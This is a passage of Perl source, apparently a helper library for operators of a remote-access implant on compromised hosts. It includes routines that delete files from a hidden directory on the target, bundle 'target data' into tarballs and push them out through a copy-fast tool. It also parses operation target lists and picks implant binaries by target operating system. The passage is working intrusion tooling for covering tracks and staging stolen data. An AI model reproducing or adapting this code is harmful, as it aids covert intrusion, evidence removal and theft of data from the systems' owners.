  my $ans = "y";
  if ($warning or $withoutprompt eq "") {
    $warning = "ALL of these are within our hidden directory, $host_hiddendir.\n\n"
      unless $warning;
    unless ($longans eq "YESYES") {
      ($ans) = mygetinput
	("${COLOR_FAILURE}DELETING THESE FILES:\n\n".
	 "    ".join("\n    ",@wipefiles)."\n\n".
	 $COLOR_NORMAL.
	 "$prog $origargs\n".
	 "is done processing on $nopen_rhostname\n\n".
	 "You can now DELETE THE FILES SHOWN ABOVE ON TARGET if desired.\n\n".
	 $warning.$COLOR_NORMAL.
	 "Do you$still want to$COLOR_FAILURE DELETE THESE $wipecount TARGET FILES?$COLOR_NORMAL",
	 $default
	);
    }
    return unless ($ans eq "y" and @wipefiles);
  }
  ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid,
   $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport)
    =  parsestatus();
#  dbg("Targetcwd=$targetcwd=");
  my $prefix = "";
  my $curdepth = $targetcwd;
  $curdepth =~ s,[^/],,g;
  $curdepth = length($curdepth);
  while ($curdepth >0) {
    $prefix = "../$prefix";
    $curdepth--;
  }
  $prefix =~ s,/$,,;
  my $cancelwipe = 0;
  my $list = "";
  while (@wipefiles) {
    my $file = shift @wipefiles;
    my ($gotindown,$gotinrsync,$filename,$sizematch,$sizediff) = gotlocalcopy($file,$getlocaldir,$targetcwd);

    if ($confirmsize and $filesizes{$file}) {
      my ($localsize,$secondsize) = (0,0);
      $localsize = -s $gotindown if $gotindown;
      $secondsize = -s $gotinrsync if $gotinrsync;
      $localsize = maxof($localsize,$secondsize);
      unless ($localsize == $filesizes{$file}) {
	$cancelwipe++;
	my $what = "is the wrong size";
	if (!$gotindown and !$gotinrsync) {
	  "is missing";
	}
	my $findcmd = "find $opdown -name \"".basename($file)."*\" -ls 2>/dev/null";
	mygetinput("Pausing here. NOT going to delete this file remotely:\n\n".
		   $file."\n\n".
		   "Our local copy $what.\n".
		   $COLOR_FAILURE."\n".
		   "YOU NEED TO FIGURE THIS OUT.\n\n".
		   "gotindown=$gotindown= gotinrsync=$gotinrsync=\n\n".
		   "localsize=$localsize= secondsize=$secondsize= filesizes{$file}=$filesizes{$file}=\n\n".
		   $findcmd."\n".
		   `$findcmd`.
		   "(hit return to continue)"
		  );
      }
 #   } else {
#      offerabort("WTF");
    }
    $list .= " $prefix$file";
    if (length $list > $nopenmaxcommandlength) {
      doit("$rm $list");
      $list="";
    }
  }
  doit("$rm $list") if (!$cancelwipe and $list);
}#offerwipe

sub offerball {
  # Offer to create and push a data tarball containing @ballfiles, where
  # $srcdir, if provided, is where we can file those files, 
  # $dirsarrayref, if provided, is a ref to an array of dirs in $srcdir
  # that we use when "@ballfiles" is too big.
  # @ballfiles can be either:
  #    1) a list of remote files (which are put in the
  #       tarball only if they exist in $opdown/$nopen_rhostname); or
  #    2) a list of local files somewhere beneath $opdown; or
  #    3) some mixture of both
  # If tarball is requested, fork, parent returns and child exits/closes.

  local($forceitarg,$fileprefix,$moreprompt,$srcdir,$dirsarrayref,@ballfiles) = (@_);
  my $forceit = $forceitarg ? " FORCE" : "" ;
  $forceit .= " NOXWAIT" if ($forceitarg =~ /NOXWAIT/);
  my $linelen = length "@ballfiles" ;

  if ($dirsarrayref and
      scalar(@$dirsarrayref) > 0 and
      (($linelen > $nopenmaxcommandlength) or
       !@ballfiles
      )) {
    @ballfiles = @$dirsarrayref;
    progprint($COLOR_FAILURE."\n\n".
	      "The list of individual files is too long ($linelen chars).\n".
	      "Using \"@ballfiles\" to populate tarball.\n".
	      "You may get files in it that were retrieved earlier.",
	      $COLOR_FAILURE)
	if ($linelen > $nopenmaxcommandlength);
  }

  my %projectshash = ();
  my $todaystamp = timestamp(short);
  if ($gbl_opuser) {
      # No need to repeat dots, if they had one there
      $fileprefix =~ s,\.+$,,g; 
      $fileprefix .= ".$gbl_opuser";
  }
  my $newball = "${fileprefix}_${nopen_rhostname}_${todaystamp}.tar.bz2";
  
  # See if we know the current project
  my ($project,$targets,@projectlist) =
    opnotesprojects(\%projectshash);
  $project = $projectname if length $projectname;
  my $inmore = " in\n\n    $srcdir\n\n" if $srcdir;
  my ($ans,$prefix) = ("y");
  ($ans) = mygetinput
    (#$COLOR_FAILURE.
     #"\n\t".join("\n\t",@ballfiles).
     #"\n$COLOR_NOTE\n".
     "$prog $origargs\n\n".
     "The above script is done processing on $nopen_rhostname.\n\n".
     "You can now create a fresh tarball in $opdir called:\n\n".
     "    $newball\n\n".
     "of the target data$inmore.\n".
     $moreprompt.
     "Do you want to create it?",
     "Y"
    )
      unless $forceit;
  return unless ($ans eq "y");

  if ($fileprefix =~ /$project/i) {
    $prefix = "NONE";
  } else {
    $ans = "";
    ($ans,$prefix) = mygetinput
      ("Enter a prefix string to put in the tarball name (defaults to project\n".
       "if you have your targets section populated correctly and saved by now).\n".
       "Enter \"NONE\" to skip the prefix, or \"ABORT\" to abort.\n",
       $project
      )
        unless $forceit;
    mydie("User aborted") if ($prefix eq "ABORT");
  }
  unless (!$prefix or $prefix eq "NONE") {
    $newball = "${prefix}_$newball";
  }
  # If we continue, createtarball() will fork, parent returns
  # while child daemonizes, creates tarball in background then exits
dbg("About to call:

  createtarball($newball,$srcdir,$forceit,@ballfiles) if fork();


");
  newhostvar("host_dirpushed{$srcdir}",$host_dirpushed{$srcdir}+1);
  createtarball($newball,$srcdir,$forceit,@ballfiles) if fork();
  my $doing = "offering to copy-fast";
  my $doingmore =
     "If for some reason you are NOT pushing yet, you should ^C in the\n".
     "copy-fast window so copy-fast does not move it(them) to /root/NOTPUSHED.";
  if ($forceit) {
    $doing = "pushing";
    $doingmore = "";
  }
  myalert
    ("\n\n".
     "Creating this archive in the background:\n\n".
     "   $opdir/$newball\n\n".
     "When it is done, another window will pop up $doing it\n".
     "(and any others in /current at the moment).\n\n".
     $doingmore
    );
}#offerball

sub createtarball {
  # If they wanted the tarball, fork/close here releases the 
  # NOPEN window that called us, we popup an xterm showing tarball
  # getting made. We exit when it is done.
  # The output of the popup is saved in $opdown with target IP.
  #
  local ($tarball,$srcdir,$forceit,@filelist) = (@_);
  my $nozip = " NOZIP"; # Maybe make this optional later
  my $noxwait = ($forceit =~ /NOXWAIT/) ? " NOXWAIT" : "";
  $forceit = " FORCE" if $forceit;
dbg("In createtarball(@_)

filelist has ".scalar @filelist." entries
filelist=(@filelist)");
  my $taroutfile = "$opdown/createtarball_${nopen_rhostname}_$$";
  mydie("Cannot write to $taroutfile") unless
    open(TAROUT,"> $taroutfile");
  print TAROUT gmtime()."         $prog BUILDING NEW TARBALL\n".
    "========================\n";
  close TAROUT;
  `sync`;
  if ((!$noxwait) and fork()) {
    close(STDOUT);
    close(STDIN);
    close(STDERR);
    close($socket);
    exec("xterm -title \"${prog}_${nopen_hostonly}_now_building_$tarball\" ".
	 "-ut +cm +cn -sk -sb -sl 15000 -geometry 128x67+1302+26 -e tail -50f $taroutfile");
    exit;
  }
  mydie("Cannot append to $taroutfile") unless
    open(TAROUT,">> $taroutfile");
  select TAROUT;
  $| = 1;
  sleep 2;
  close(STDOUT);
  close(STDIN);
  close(STDERR);
  close($socket);
  my ($dstpath,$srcpath) = ();
#  if (@mergepullsfrom) {
# SEE autorsync for this content if we want to add merging capability here
#  }
  my $filelist = "";
  $srcdir = "$opdown/$nopen_rhostname"
    unless ($srcdir and -d $srcdir);
  chdir("$srcdir");
  foreach my $file (@filelist) {
    # If no $file, maybe there is a $file.tail or $file.partial,
    # and we use that instead. 
    $file = "$file.tail" unless -e "./$file";
    $file = "$file.partial" unless -e "./$file";
    next unless -e "./$file";
    $file =~ s,^([\s./]*)*,./,;
dbg("In $srcdir looking for :$file:\nls -l $file\n".
    `ls -l $file`);
    $filelist .= " $file";
  }
  my $tarcmd = "cd $srcdir ; tar cvjf $opdir/$tarball $filelist 2>&1";
  if (!$filelist) {
    print 
      "\n\n".
      $COLOR_FAILURE.
      gmtime().
      "\n\nNo data to tar up, no files found in $srcdir from this pull.";
  } else {
    print 
      "\n\n".
      $COLOR_FAILURE.
      gmtime().
      "\n\nNow tarring up the results with:\n\n".
      $COLOR_NOTE.
      $tarcmd."\n\n".
      $COLOR_NORMAL.
      " made by: $prog $origargs\n".
      "      on: $nopen_rhostname\n\n".
      "Verbose tar output will follow when it is done:\n\n";

    if (open(TARBALLIN,"$tarcmd |")) {
      $| = 1;
      while (<TARBALLIN>) {
	print ;
      }
      close(TARBALLIN);
    }
    my $listing = `cd $opdir ; ls -alrth *bz2 |grep -v $tarball`;
    $listing .= $COLOR_FAILURE;
    $listing .= `cd $opdir ; ls -alrth $tarball`;
    $listing .= $COLOR_NORMAL;

    print "\n\n".gmtime().
      "\n\nJust built $tarball,\n".
      "above command is done,$COLOR_FAILURE $nopen_rhostname$COLOR_NORMAL \n".
      "tarball(s) now in $opdir include:\n\n".
      $listing;
#  if ($mergepullsfrom) {
#    print "\n$COLOR_FAILURE\n".
#      "NOTE:$COLOR_NOTE Scroll TO THE TOP above to confirm merge from\n".
#	$COLOR_NORMAL.
#	  "      $mergepullsfrom\n$COLOR_NOTE".
#	    "  to:$COLOR_NORMAL $destdir$dstpath\n\n".
#	      $COLOR_NOTE.
#		"      is as desired.\n\n";
#  }
    exit if $nopush;
    # Only one copy-* at a time as each one wipes *.md5 in $OPDIR
    my $waitcount = 0;
    while (1) {
      chomp(my $test = `ps -wefwwww | grep -v grep | grep "xterm.*title.*copy-fast_popup.*130x64.*copy-fast.*"`);
      last unless $test;
      sleep 1;
      print "\a$COLOR_FAILURE\n".scalar gmtime()."\n\n".
	"Cannot push up $tarball yet.\n\n".$COLOR_NORMAL.
	$test."\n\n".
	"This instance of createtarball will not run copy-fast until previous instances\n".
	"of copy-fast are done. Two at a time will conflict.\n$COLOR_NORMAL\n"
	  if ($waitcount < 4 or ($waitcount % 35) == 0);
      $waitcount++;
    }
    print "\a$COLOR_FAILURE\n".scalar gmtime()."\n\n".
      "Firing this copy-fast, previous one is done.$COLOR_NORMAL\n\n"
        if ($waitcount);
    print $COLOR_NOTE."\n\n".
      "$prog just popped up a window running copy-fast now that this tarball is done.\n".
      "If for some reason you are NOT pushing yet, you should ^C it so it does not move\n".
      "the file to /root/NOTPUSHED.\n\n";
    unless (fork()) {
      close(STDOUT);
      close(STDIN);
      close(STDERR);
      close($socket);
      dbg("EXECING: 1x -title \"\\\"${prog}_copy-fast_popup\\\"\" -geometry 130x64-0+0 -e copy-fast $opdir$nozip$forceit$noxwait");
      exec("1x -title \"\\\"${prog}_copy-fast_popup\\\"\" -geometry 130x64-0+0 -e copy-fast $opdir/$tarball $nozip$forceit$noxwait");
    }
  }
  print $COLOR_FAILURE."\n\n".
    "(close this window with Ctrl-C anytime, other tarballs will wait until you do.)\n$COLOR_NORMAL\n";
  close(TAROUT);
  exit ;
}#createtarball

sub opnotesprojects {
  # If /current/down/opnotes.txt has a targets section,
  # return an array contining:
  #    The final line's project name (will be repeated later in the array)
  #    a scalar of the entire targets section and
  #    an array of all projects.
  # PITCHIMPAIR will always be first regardless of order in targets
  # section, otherwise order of targets section is preserved.
  # If $gbl_opproject is defined and not "nothing", it is used as the entire op project.
  # If $gbl_opproject is not defined or is "nothing", the final target's project is used as
  # the entire op project.
  # The entire op project is returned as the first element opnotesprojects() returns.
  # If any optional hash references are sent, those are modified to contain:
  #   $$projectshashref{$ip} = PROJECT
  #   $$aliashashref{$ip} = 
  #   $$depthhashref{$ip} = target depth (lowest is pitch, etc.)
  #   $$hostnamehashref{$ip} = FQDN
  #   $$statushashref{$ip} = status (successful, etc)
  #   $$typehashref{$ip} = type (unix, fw, etc)
  #   $$commentshashref{$ip} = comments
  #   $$targetlinehashref{$ip} = entire line
  # values with key of $ip and value of project name.
  #
  local ($projectshashref,
	 $aliashashref,
	 $depthhashref,
	 $hostnamehashref,
	 $statushashref,
	 $typehashref,
	 $commentshashref,
	 $targetlinehashref,
	) = (@_);
  return () unless open(NOTESIN,"$opdown/opnotes.txt");
  my (%projectnamefromnotes,
      @returnarr,
      $gotpitch,
      $intargets,
      $targetsection,
      $pitchindexinnotes,
      $projectnamefromnotes,
     ) = ();
  # Clear any hashes we have referenced here:
    %$projectshashref = ()
      if defined $projectshashref;
    %$aliashashref = ()
      if defined $aliashashref;
    %$depthhashref = ()
      if defined $depthhashref;
    %$hostnamehashref = ()
      if defined $hostnamehashref;
    %$statushashref = ()
      if defined $statushashref;
    %$typehashref = ()
      if defined $typehashref;
    %$commentshashref = ()
      if defined $commentshashref;
    %$targetlinehashref = ()
      if defined $targetlinehashref;


  my $pitchindexinnotes=-1;

  while ($line = <NOTESIN>) {
    my $malformed=0;
    next unless ($intargets or $line =~ /^Targets/);
    unless ($intargets) {
      $intargets++;
      next;
    }
    $intargets++;
    if ($line =~ /^ALIAS:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}).*=.*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/i) {
      $$aliashashref{$1} = $2 if defined $aliashashref;
      next;
    } elsif ($line =~ /^\s*ALIAS:/i) {
      mywarn("autoutils::opnotesprojects() called by prog=$prog: IGNORING Malformed targets/ALIAS line, does not contain IP1=IP2 format:\nline $intargets=$line");
      $malformed++;
    }
    last if ($line =~ /^Results/i); # end of target list
    my ($ip) = $line =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/;
    my ($fqdn) = $line =~ /$ip\S*\s+(\S+)/;
    next unless $ip and $fqdn;
    $line =~ s/$ip/ $ip/;
    my @fields = split(/\s+/,$line);
    my ($depth,$ipagain,$fqdnagain,$project,$type,$status,@comments) = @fields;
    ($depth,$ipagain,$fqdnagain,$project,$type,$status) = 
      (lc $depth,lc $ipagain,lc $fqdnagain,lc $project,lc $type,lc $status) ;
    unless ($ip eq $ipagain) {
      mywarn("autoutils::opnotesprojects() called by prog=$prog: IGNORING Malformed target line, IP=$ip is in wrong field:\nline $intargets=$line");
      $malformed++;
    }
    if (ipcheck($project)) {
      mywarn("autoutils::opnotesprojects() called by prog=$prog: IGNORING Malformed target line, PROJECT=$project is an IP address:\nline $intargets=$line");
      $malformed++;
    }
    next if $malformed;
    $targetsection .= $line;
    my $comments = join(" ",@comments);

    $$projectshashref{$ip} = $project
      if defined $projectshashref;
    $$depthhashref{$ip} = 1+length($depth)
      if defined $depthhashref;
    $$hostnamehashref{$ip} = $fqdn
      if defined $hostnamehashref;
    $$statushashref{$ip} = $status
      if defined $statushashref;
    $$typehashref{$ip} = $type
      if defined $typehashref;
    $$commentshashref{$ip} = $comments
      if defined $commentshashref;
    $$targetlinehashref{$ip} = $line
      if defined $targetlinehashref;

    # We always use this to set it, so LAST hops project will be default
    $projectnamefromnotes = $project;
    if (length $projectnamefromnotes{$ip} and
	$projectnamefromnotes{$ip} ne $project) {
      #	warn("IP $ip has more than one projectname in Targets section(s):\n\t".
      #	     "$projectnamefromnotes{$ip} and $fields[$pitchindexinnotes]\n");
    }
    $projectnamefromnotes{$ip} = $project;
    unless ($project eq "pitchimpair" and !$gotpitch++) {
      push(@returnarr,$project);
    }
  }
  @returnarr = ("pitchimpair",$targetssection,@returnarr) if $gotpitch;
  newhostvar("gbl_targets",$targetsection,
	     );

  # Set all these globals, probably just adjusted by the hashref changes just
  # sent now.
  my (%ipsum,%requestedpitchips,@pitchcapfiles,$allpitchsum,%gbl_pitchips) = ();
  foreach my $key (keys %gbl_projectshash) {
    # This makes any call to bwsofar() set a bunch of vars from Targets.
    newhostvar("gbl_projectshash{$key}",$gbl_projectshash{$key});
    newhostvar("gbl_aliaseshash{$key}",$gbl_aliaseshash{$key});
    newhostvar("gbl_depthhash{$key}",$gbl_depthhash{$key});
    newhostvar("gbl_hostnamehash{$key}",$gbl_hostnamehash{$key});
    newhostvar("gbl_statushash{$key}",$gbl_statushash{$key});
    newhostvar("gbl_typehash{$key}",$gbl_typehash{$key});
    newhostvar("gbl_commentshash{$key}",$gbl_commentshash{$key});
    newhostvar("gbl_targetline{$key}",$gbl_targetline{$key});

     next unless (lc $gbl_projectshash{$key} eq "p" or
	   lc $gbl_projectshash{$key} eq "pitchimpair");
    # Sett these values only for pitches
    newhostvar("gbl_pitchips{$key}",$gbl_targetline{$key});
    next if ($whichip and $key ne $whichip);
    $requestedpitchips{$key} = $gbl_targetline{$key};
  }

  return ($gbl_opproject,$targetsection,@returnarr)
      if ($gbl_opproject and lc $gbl_opproject ne "nothing");
  return ($returnarr[$#returnarr],$targetsection,@returnarr);
}
#opnotesprojects

sub fixdf {
  # Given df output (as either a scalar with newlines, or as an array of lines each
  # with NO newlines (i.e., as either $output or @output from doit()), we return
  # (in the same format as we were given) a "fixed" df output, where we have joined
  # together any two-line entries (where the "\s/" mountpoint is on the second line).
  local (@lines) = (@_);
  my $arr = 1;
  my @newlines = ();
  unless (@lines > 1) {
    $arr = 0;
    @lines = split(/\n/,$lines[0]);
  }
  while (@lines) {
    my $line =  shift(@lines);
    chomp($line);
    unless ($line =~ m,\s+/, or $line =~ /^\s*filesystem/i or $line =~ /\savail/i) {
      chomp(my $line2 = shift(@lines));
      $line .= " $line2";
    }
    push(@newlines,$line);
  }
  if ($arr) {
    return @newlines;
  } else {
    return join("\n",@newlines)."\n";
  }
}

sub findallindex {
  # Given a string, and an array, return an
  # array of indicies for elements that match.
  local ($str,@arr) = (@_);
  my @ret = ();
  for (my $i=0;$i<@arr;$i++) {
    push @ret,$i if ($arr[$i] =~ /$str/i);
  }
  return @ret;
}


sub findindex {
  local ($str,@arr) = (@_);
  for (my $i=0;$i<@arr;$i++) {
    return $i if ($arr[$i] =~ /$str/i);
  }
  return -1;
}

sub parelist {
  # Given list of files, say in $opup somewhere, pare it down by
  # filtering in those that match and out those that don't.
  # Use with caution? Taken from sub putctrl, genericized here so
  # autogetcdrhitsgz can use it for curse*.
  #
  local (@origlist) = (@_);
  #grep  /stoicsurgeon.*ctrl/i  , sort readdir SKINNYDIR;
  my @list = @origlist;
  my @maybelist=();
  my $origsize = @list;
#dbg(scalar @list . "orig  "."list=(@list)");
  if ($linuxtarget) {
    @maybelist = grep   /linux/i    , @list;
  } else {
    @maybelist = grep ! /linux/i   , @list;
  }
  @list = @maybelist if @maybelist;
  @maybelist=();
  if ($junostarget) {
    @maybelist = grep   /linux/i    , @list;
  } else {
    @maybelist = grep ! /linux/i   , @list;
  }
  @list = @maybelist if @maybelist;
  @maybelist=();
  if ($aixtarget) {
    @maybelist = grep   /aix/i    , @list;
  } else {
    @maybelist = grep ! /aix/i   , @list;
  }
  @list = @maybelist if @maybelist;
  @maybelist=();
#dbg(scalar @list . "gotlinux:  "."list=(@list)");
  if ($sparctarget) {
    @maybelist = grep   /sparc/i   , @list;
  } else {
    @maybelist = grep ! /sparc/i   , @list;
  }
  @list = @maybelist if @maybelist;
  @maybelist=();
#dbg(scalar @list . "gotsparc:  "."list=(@list)");
  if ($inteltarget) {
    @maybelist = grep  /[xi].{0,1}86/i    , @list;
  } else {
    @maybelist = grep  ! /[xi].{0,1}86/i    , @list;
  }
  @list = @maybelist if @maybelist;
  @maybelist=();
#dbg(scalar @list . "gotintel:  "."list=(@list)");
  @maybelist = grep  /sparc64/i  , @list
    if $sparc64target;
  @list = @maybelist if @maybelist;
#dbg(scalar @list . "gotsparc64:  "."list=(@list)");
  @maybelist = grep  /64/i       , @list
    if $intel64target;
  @list = @maybelist if @maybelist;
#dbg(scalar @list . "gotintel64:  "."list=(@list)");
  if ($solaristarget) {
    @maybelist = grep  /solaris/i  , @list;
    #dbg(scalar @maybelist . "gotsolarisinmaybe  "."list=(@maybelist)");
  }
  if ($solaristargetversion) {
    my $str = $solaristargetversion;
      $str =~ s/\./\\\./g;
    @maybelist = @list unless @maybelist;
    my @maybelist2 = grep  /solaris$str/i       , @maybelist;
#    unless (@maybelist2) {
#      $str =~ s/2/5/; # Try the 5.* nomenclature
#      @maybelist2 = grep  /solaris$str/i       , @maybelist;
#    }
    @maybelist = @maybelist2 if @maybelist2;
    
    #dbg(scalar @maybelist . "gotsolaristargetverinmaybe  "."list=(@maybelist)");
#dbg("solaristargetversion=$solaristargetversion=");
  }
  #dbg("Returning list=(@maybelist)") if @maybelist;
  return (@maybelist) if @maybelist;
  #dbg("Returning list=(@list)") ;
  return (@list);
}
#parelist

sub taildiff {
  # Use mydo to gettail -$lines all the files, default lines to 175 if
  # not given
  local ($which,$lines,@taildfiles) = (@_);
  if ($lines =~ /^-{0,1}(\d+)$/) {
    $lines = $1;
  } else {
    @taildfiles = ($lines,@taildfiles);
    $lines = 175;
  }

}
#taildiff

sub tickleifneedbe {
  local($builtinsonly,$cmd,$delay) = (@_);
  my @retval = ();
  $delay = int($delay);
  $delay = 15 unless $delay > 0;
  # Do a little something if our $timelastcmd was over 15s ago
  return @retval unless time() > $timelastcmd + $delay;
  if ($builtinsonly and !$cmd) {
      $cmd = $builtinsonly;
      $builtinsonly = "";
  }
  unless ($cmd) {
    $cmd = "w";
    $cmd = "-w" if $builtinsonly;
  }
  @retval = doit($cmd);
  $timelastcmd = time();
  return @retval;
}
#tickleifneedbe

sub setshortdirs {
  # Given array of dirs, returns array of dirs with last two characters
  # of each replaced with a "*". 
  # Any dirs in original array with basename of two chars or less is
  # REMOVED/IGNORED in the result.
  local (@dirarr) = (@_);
  my @shortarr = ();
  foreach (@dirarr) {
    s,/+$,,;
    my $n=2;
    my ($c,$s) = ();
    while ($n-- > 0) {
      $c = chop;
      if ($c eq "/") {
	$n = -10;
	last;
      }
      $s .= $c;
    }
    #dbg(" in setshortdirs(@_) with dir=$_= s=$s= n=$n");
    next if ($n == -10);
    push(@shortarr,"$_\*");
#    if (m,[^/]{1,3}\$,) {
#      s,[^/]{1,3}$,,g;
#      push(@shortarr,"$_\*");
#    }
  }
  return @shortarr;
}
#setshortdirs

sub findfilematching {
  local ($regexp,$typename,@paths) = (@_);
  # Use backticked find on @paths, suppress stderr,
  # $typename:
  #   if "d" or "f", limits find to dirs or files only
  #   if "[df]nString", uses -name "String"
  # return array containing files that match $regexp.
  # If $regexp ends in "/i", make it case insensitive.
  # @paths has a default if none provided
  @paths = ("/mnt/zip",$opdir) unless @paths;

  my $casesensitive = 1;
  my ($type,$name,$string) = ();
  if ($typename =~ /^([df])/i) {
    $type = "-type ".lc $1;
    $typename =~ s/^([df])//i;
  }
  ($name,$string) = $typename =~ /^(.)(.*)/i;
  if (lc $name eq "n") {
    if ($string) {
      $name = "-name \"$string\"";
    } else {
      $name = "";
    }
  }
  if ($regexp =~ m,/i$,) {
    $casesensitive = 0;
    $regexp =~ s,/i$,,;
  }
#  dbg("In findfilematching(@_) with:
#paths=(@paths)

#regexp=$regexp=
#typename=$typename=
#name=$name=
#type=$type=
#casesensitive=$casesensitive=\n\n");
  my @retarr = ();
  if ($regexp) {
    if ($casesensitive) {
      @retarr = grep /$regexp/  ,
	split(/\n/,`find @paths $type $name 2>/dev/null`);
    } else {
      @retarr = grep /$regexp/i ,
	split(/\n/,`find @paths $type $name 2>/dev/null`);
    }
  } else {
    @retarr = split(/\n/,`find @paths $type $name 2>/dev/null`);
  }
  return uniqify_array(@retarr);
}
#findfilematching


sub whendo {
  # whendo() looks for @ARGS/@ARGV entries or files in $optmp that indicate
  # WHEN to DO what. It sets these globals accordingly (that is, setting each
  # iff either the right keyford file in $optmp exists, or that keyword was
  # provided on the "-gs auto KEYWORD" command.
  #       $autoforce
  #       $autoyes
  #       $autoreget
  #       $autoshort
  #       $autonohostinfo
  #       $redo
  # It then returns an array containing:
  #    $thismonth      Whether we want a autonewdone survey once this month
  #    $today          Whether we want a autonewdone survey today
  #    $thismonthfiles A list of files in $optmp that match all of:
  #                        $findstring
  #                        THISMONTH
  #                        some YYYY-MM-DD string in the current month.
  #    $todayfiles     A list of files in $optmp that match all of:
  #                        $findstring
  #                        TODAY
  #                        some YYYY-MM-DD string from today.

  local($findstring,$finished,$thismonth,$today,@ARGS) = (@_);
  # Use global @ARGV if they did not provide @ARGS:
  @ARGS = @ARGV unless @ARGS;
  parsestatus(!$finished); # We force -status on first whendo(), not second.

  my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime();
  $year += 1900 unless $year > 1900;
  my $yearmonstr = sprintf("%04d-%02d",$year,$mon+1);
  my $todaystr   = sprintf("$yearmonstr-%02d",$mday);

  # This month
  my @thismonthfiles = split(/\n/,`ls -1 $optmp/$findstring.*THISMONTH* 2>/dev/null`);
  my @oldthismonthfiles = grep ! /$yearmonstr/,@thismonthfiles;
  unlink(@oldthismonthfiles);
  @thismonthfiles = grep /$yearmonstr/,@thismonthfiles;

  # Today
  my @todayfiles = split(/\n/,`ls -1 $optmp/$findstring.*TODAY* 2>/dev/null`);
  my @oldtodayfiles = grep ! /$todaystr/,@todayfiles;
  unlink(@oldtodayfiles);
  @todayfiles = grep /$todaystr/,@todayfiles;

  if ($finished) {
    # If autonewdone.whatever finished correctly, touch the right files,
    # only do the THISMONTH and TODAY ones if that is why we just did it.
    system("touch $optmp/$findstring.THISMONTH.$todaystr.$nopen_rhostname")
      if ($thismonth);
    system("touch $optmp/$findstring.TODAY.$todaystr.$nopen_rhostname")
      if ($today);
    if   (-f "$optmp/$findstring.INPROGRESS.$targetpid") {
      rename("$optmp/$findstring.INPROGRESS.$targetpid", "$optmp/$findstring.$nopen_rhostname");
    } else {
      dbg("This is odd, $optmp/$findstring.INPROGRESS.$targetpid does not exist, ARGV=(@ARGV)");
      `touch "$optmp/$findstring.$nopen_rhostname"`;
    }
  } else {
    $thismonth     = ("@ARGV" =~ /THISMONTH/i or
		      -f "$optmp/$findstring.ALL.THISMONTH")  ? "THISMONTH" : "";
    $today         = ("@ARGV" =~ /TODAY/i or
		      -f "$optmp/$findstring.ALL.TODAY")  ? "TODAY" : "";
    
    $autoforce      = ("@ARGV" =~ /FORCE/i or
		       "@ARGV" =~ /-f/i or
		       -f "$optmp/$findstring.ALL.FORCE")  ? "FORCE" : "";
    $autoyes        = ("@ARGV" =~ /YES/i or
		       -f "$optmp/$findstring.ALL.YES" or
		       $today or $thismonth             )  ? "YES" : "";
    $autoreget      = ("@ARGV" =~ /REGET/i ? "r" : "" or
		       -f "$optmp/$findstring.ALL.REGET")  ? "REGET" : "";
    $autoshort      = ("@ARGV" =~ /SHORT/i or
		       -f "$optmp/$findstring.ALL.SHORT")  ? "SHORT" : "";
    $autonohostinfo = ("@ARGV" =~ /nohostinfo/i ? "NOHOSTINFO" : ""  or
		       -f "$optmp/$findstring.ALL.NOHOSTINFO")  ? "NOHOSTINFO" : "";
  }
  my $thismonthfiles = join("\n",@thismonthfiles);
  my $todayfiles = join("\n",@todayfiles);
  $autoforce = "TODAY" if ($today and !$todayfiles);
  $autoforce = "THISMONTH" if ($thismonth and !$thismonthfiles);
  my $redo = 1 if ("@ARGV" =~ /AGAIN/i or $autoforce);
dbg("redo=$redo= autoforce is now=$autoforce=
ARGV=(@ARGV)

ARGS=(@ARGS)   in   whendo(@_) with
      finished=$finished=
    yearmonstr=$yearmonstr=
      todaystr=$todaystr=
     autoforce=$autoforce=
       autoyes=$autoyes=
     autoreget=$autoreget=
     autoshort=$autoshort=
autonohostinfo=$autonohostinfo=

RETURN:   redo=$redo,
     thismonth=$thismonth,
         today=$today,
thismonthfiles=$thismonthfiles,
    todayfiles=$todayfiles,
");
  $autoforce = $redo if ($redo and ($today or $thismonth));
dbg("redo=$redo= autoforce is now=$autoforce=
ARGV=(@ARGV)

ARGS=(@ARGS)   in   whendo(@_) with
      finished=$finished=
    yearmonstr=$yearmonstr=
      todaystr=$todaystr=
     autoforce=$autoforce=
       autoyes=$autoyes=
     autoreget=$autoreget=
     autoshort=$autoshort=
autonohostinfo=$autonohostinfo=

RETURN:   redo=$redo,
     thismonth=$thismonth,
         today=$today,
thismonthfiles=$thismonthfiles,
    todayfiles=$todayfiles,

".`ls -alrt $optmp/$findstring.*`);
  return (
	  $redo,
	  $thismonth,
	  $today,
	  $thismonthfiles,
	  $todayfiles,
	 );
}
#whendo

sub datefix {
  # Given several forms of date, return MM-DD-YYYY
  # Works on things like:
  # Wed Jan 14 17:19:36 EST 2011
  # 1/14/11
  # 14/1/11
  # 14 jan 11
  # 14 jan 2011
  local($datestr) = (@_);
  $datestr =~ s,\s*$,,g;
  # Ignore day
  $datestr =~ s,(Mon|Tue|Wed|Thu|Fri|Sat|Sun),,i;
  # Dash only now
  $datestr =~ s/[\/\\,\s]+/-/g;
  # Remove long parts of month, if there
  $datestr =~ s,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)[^-]*,$1,i;
  # Remove Time or Time and TimeZone if there
  if ($datestr =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+)-(\d+:\d+:\d+(-.*){0,1})-\d+/) {
    $datestr =~ s,-$3,,;
  }
  my ($a,$b,$c) = $datestr =~ /(\d+)-(\d+)-(\d+)/;
  unless ($a and $b and $c) {
    if ($datestr =~ s,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+)-(\d+),,i) {
      ($a,$b,$c) = (1+$nummon{ucfirst $1},$2,$3);
    } elsif ($datestr =~ s,(\d+)-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+),,i) {
      ($a,$b,$c) = (1+$nummon{ucfirst $2},$1,$3);
    }
  }
  ($a,$b) = ($b,$a) if ($a > 12 and $b < 13);
  $c +=1900 if ($c < 1900 and $c > 40);
  $c += 2000 if ($c < 41);
  return "" if ($a < 1 or $a > 12 or
		$b < 1 or $b > 31 or
		($a == 2 and $b > 29) or
		# skipping leap year logic
